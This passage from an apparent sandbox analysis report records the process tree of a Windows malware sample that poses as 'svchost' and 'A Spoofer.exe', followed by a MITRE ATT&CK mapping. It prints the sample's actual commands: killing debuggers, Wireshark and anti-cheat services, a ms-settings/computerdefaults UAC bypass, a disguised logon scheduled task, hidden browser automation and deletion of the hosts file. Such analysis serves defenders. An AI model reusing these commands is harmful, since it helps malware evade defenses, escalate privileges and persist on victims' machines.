    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
    3⤵
    PID:3980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker3 >nul 2>&1
    3⤵
    PID:4440
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
    3⤵
    PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop ESEADriver2 >nul 2>&1
    3⤵
    PID:2828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop FACEIT >nul 2>&1
    3⤵
    PID:592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop npf >nul 2>&1
    3⤵
    PID:3832
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop wireshark >nul 2>&1
    3⤵
    PID:4568
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker1 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop KProcessHacker2 >nul 2>&1
    3⤵
    - Blocklisted process makes network request
    PID:3504
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
    3⤵
    PID:5092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c net stop ESEADriver2 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq ollydbg*" /IM * /F /T >nul 2>&1
    3⤵
    PID:4920
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq x64dbg*" /IM * /F /T >nul 2>&1
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /FI "IMAGENAME eq loldbg*" /IM * /F /T >nul 2>&1
    3⤵
    PID:3580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c sc stop HTTPDebuggerPro >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerSvc.exe >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4700
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c taskkill /f /im HTTPDebuggerUI.exe >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4940
- C:\Users\Admin\AppData\Local\Temp\svchost (1).exe
  "C:\Users\Admin\AppData\Local\Temp\svchost (1).exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2532
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /v DelegateExecute /d "0" /f
    3⤵
    - Modifies registry class
    PID:992
- - C:\Windows\SysWOW64\cmd.exe
    "cmd.exe" /C computerdefaults.exe
    3⤵
    PID:1812
  - - C:\Windows\system32\net.exe
      net stop ESEADriver2
      4⤵
      PID:1624
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop ESEADriver2
        5⤵
        
        PID:4304
  - - C:\Windows\system32\taskkill.exe
      taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4504
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" add "HKCU\Software\Classes\ms-settings\shell\open\command" /d "wscript.exe C:\Users\Admin\AppData\Local\Temp\nitechair4679085.vbs" /f
    3⤵
    PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C schtasks /Create /SC ONLOGON /TN MicrosoftEdgeUpdateTaskUXM_FV4J6WelciAGbMk008 /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\FV4J6WelciAGbMk008.exe" /RL HIGHEST /IT
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /Create /SC ONLOGON /TN MicrosoftEdgeUpdateTaskUXM_FV4J6WelciAGbMk008 /TR "C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\FV4J6WelciAGbMk008.exe" /RL HIGHEST /IT
      4⤵
      Creates scheduled task(s)
      PID:2356
- - C:\Users\Admin\AppData\Local\Temp\chromedriver-win64\chromedriver.exe
    "C:\Users\Admin\AppData\Local\Temp\chromedriver-win64\chromedriver.exe" --port=59585
    3⤵
    - Executes dropped EXE
    PID:228
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3896
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --allow-pre-commit-input --disable-background-networking --disable-backgrounding-occluded-windows --disable-client-side-phishing-detection --disable-default-apps --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir="C:\Program Files\scoped_dir228_549087890" --window-position=-32000,-32000 data:,
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Drops file in Program Files directory
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:2828
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir228_549087890" --enable-logging --log-level=0 --mojo-platform-channel-handle=2140 --field-trial-handle=1884,i,8527074917077873037,6198890099614326155,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        Drops file in Program Files directory
        
        PID:2468
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Program Files\scoped_dir228_549087890" --display-capture-permissions-policy-allowed --enable-automation --enable-logging --log-level=0 --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2924 --field-trial-handle=1884,i,8527074917077873037,6198890099614326155,131072 /prefetch:1
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3444
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Program Files\scoped_dir228_549087890" --display-capture-permissions-policy-allowed --first-renderer-process --enable-automation --enable-logging --log-level=0 --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2912 --field-trial-handle=1884,i,8527074917077873037,6198890099614326155,131072 /prefetch:1
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3856
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir228_549087890" --enable-logging --log-level=0 --mojo-platform-channel-handle=2300 --field-trial-handle=1884,i,8527074917077873037,6198890099614326155,131072 /prefetch:8
        5⤵
        Executes dropped EXE
        
        PID:2184
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir228_549087890" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-level=0 --mojo-platform-channel-handle=1696 --field-trial-handle=1884,i,8527074917077873037,6198890099614326155,131072 /prefetch:2
        5⤵
        Executes dropped EXE
        
        PID:5000
- - C:\Users\Admin\AppData\Local\Temp\msedgedriver.exe
    "C:\Users\Admin\AppData\Local\Temp\msedgedriver.exe" --port=59764
    3⤵
    - Executes dropped EXE
    - Checks system information in the registry
    PID:4388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --allow-pre-commit-input --disable-background-networking --disable-backgrounding-occluded-windows --disable-client-side-phishing-detection --disable-default-apps --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --window-position=-32000,-32000 data:,
      4⤵
      Drops file in Program Files directory
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:4908
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Program Files\scoped_dir4388_1400662056" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Program Files\scoped_dir4388_1400662056\Crashpad" "--metrics-dir=C:\Program Files\scoped_dir4388_1400662056" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffe4c6246f8,0x7ffe4c624708,0x7ffe4c624718
        5⤵
        
        PID:1036
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2056,4975811397728379626,5656358271267711332,131072 --lang=en-US --service-sandbox-type=none --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --enable-logging --log-level=0 --mojo-platform-channel-handle=2252 /prefetch:3
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:740
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2056,4975811397728379626,5656358271267711332,131072 --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --enable-logging --log-level=0 --mojo-platform-channel-handle=2084 /prefetch:2
        5⤵
        
        PID:4568
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2056,4975811397728379626,5656358271267711332,131072 --lang=en-US --service-sandbox-type=utility --enable-logging --log-level=0 --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --enable-logging --log-level=0 --mojo-platform-channel-handle=2736 /prefetch:8
        5⤵
        
        PID:3652
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-automation --enable-logging --log-level=0 --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --field-trial-handle=2056,4975811397728379626,5656358271267711332,131072 --lang=en-US --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3300 /prefetch:1
        5⤵
        
        PID:4484
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --enable-automation --enable-logging --log-level=0 --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --field-trial-handle=2056,4975811397728379626,5656358271267711332,131072 --lang=en-US --user-data-dir="C:\Program Files\scoped_dir4388_1400662056" --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3280 /prefetch:1
        5⤵
        
        PID:2040

C:\Windows\SysWOW64\ComputerDefaults.exe
computerdefaults.exe
1⤵
PID:436
- C:\Windows\SysWOW64\wscript.exe
  "wscript.exe" C:\Users\Admin\AppData\Local\Temp\nitechair4679085.vbs
  2⤵
  PID:4292
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C del C:\Windows\System32\drivers\etc\hosts
    3⤵
    PID:4380
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop FACEIT
    3⤵
    PID:3744

C:\Windows\system32\find.exe
find /i /v "certutil"
1⤵
PID:2224

C:\Windows\system32\find.exe
find /i /v "md5"
1⤵
PID:1556

C:\Windows\system32\certutil.exe
certutil -hashfile "C:\Users\Admin\AppData\Local\Temp\A Spoofer.exe" MD5
1⤵
PID:1068
- C:\Windows\system32\taskkill.exe
  taskkill /FI "IMAGENAME eq wireshark*" /IM * /F /T
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1556

C:\Windows\system32\taskkill.exe
taskkill /f /im HTTPDebuggerUI.exe
1⤵
- Kills process with taskkill
PID:4260

C:\Windows\system32\taskkill.exe
taskkill /f /im HTTPDebuggerSvc.exe
1⤵
- Kills process with taskkill
PID:3896

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4596

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq loldbg*" /IM * /F /T
1⤵
- Kills process with taskkill
PID:4960

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq x64dbg*" /IM * /F /T
1⤵
- Kills process with taskkill
PID:4736
- C:\Windows\system32\sc.exe
  sc stop KProcessHacker3
  2⤵
  - Launches sc.exe
  PID:3828

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq ollydbg*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3344

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4072

C:\Windows\system32\net.exe
net stop FACEIT
1⤵
PID:3336
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 stop FACEIT
  2⤵
  PID:3740

C:\Windows\system32\sc.exe
sc stop npf
1⤵
- Launches sc.exe
- Suspicious use of WriteProcessMemory
PID:436

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 stop ESEADriver2
1⤵
PID:1176

C:\Windows\system32\taskkill.exe
taskkill /f /im HTTPDebuggerUI.exe
1⤵
- Kills process with taskkill
PID:3416

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq cheatengine*" /IM * /F /T
1⤵
- Kills process with taskkill
PID:1340

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq fiddler*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4012

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq rawshark*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2804

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq ida*" /IM * /F /T
1⤵
- Kills process with taskkill
PID:4508

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq processhacker*" /IM * /F /T
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4732

C:\Windows\system32\sc.exe
sc stop wireshark
1⤵
- Launches sc.exe
PID:5104

C:\Windows\system32\sc.exe
sc stop KProcessHacker1
1⤵
- Launches sc.exe
PID:3724

C:\Windows\system32\sc.exe
sc stop HTTPDebuggerPro
1⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:4960

C:\Windows\system32\taskkill.exe
taskkill /FI "IMAGENAME eq httpdebugger*" /IM * /F /T
1⤵
- Kills process with taskkill
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3392

C:\Windows\system32\taskkill.exe
taskkill /f /im HTTPDebuggerSvc.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3872

C:\Windows\system32\sc.exe
sc stop wireshark
1⤵
- Launches sc.exe
PID:5032

C:\Windows\system32\sc.exe
sc stop KProcessHacker1
1⤵
- Launches sc.exe
PID:3680

C:\Windows\system32\sc.exe
sc stop KProcessHacker3
1⤵
- Launches sc.exe
PID:4524

C:\Windows\system32\sc.exe
sc stop HTTPDebuggerPro
1⤵
- Launches sc.exe
PID:4508

C:\Windows\system32\net.exe
net stop FACEIT
1⤵
- Suspicious use of WriteProcessMemory
PID:4292

C:\Windows\system32\sc.exe
sc stop wireshark
1⤵
- Launches sc.exe
PID:740

C:\Windows\system32\sc.exe
sc stop KProcessHacker2
1⤵
- Launches sc.exe
PID:3868

C:\Windows\system32\sc.exe
sc stop HTTPDebuggerPro
1⤵
- Launches sc.exe
PID:2208

C:\Windows\System32\sihclient.exe
C:\Windows\System32\sihclient.exe /cv CggSkGatF06/O8vkxia2LQ.0.2
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1340

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
- Executes dropped EXE
PID:4392

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4448

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery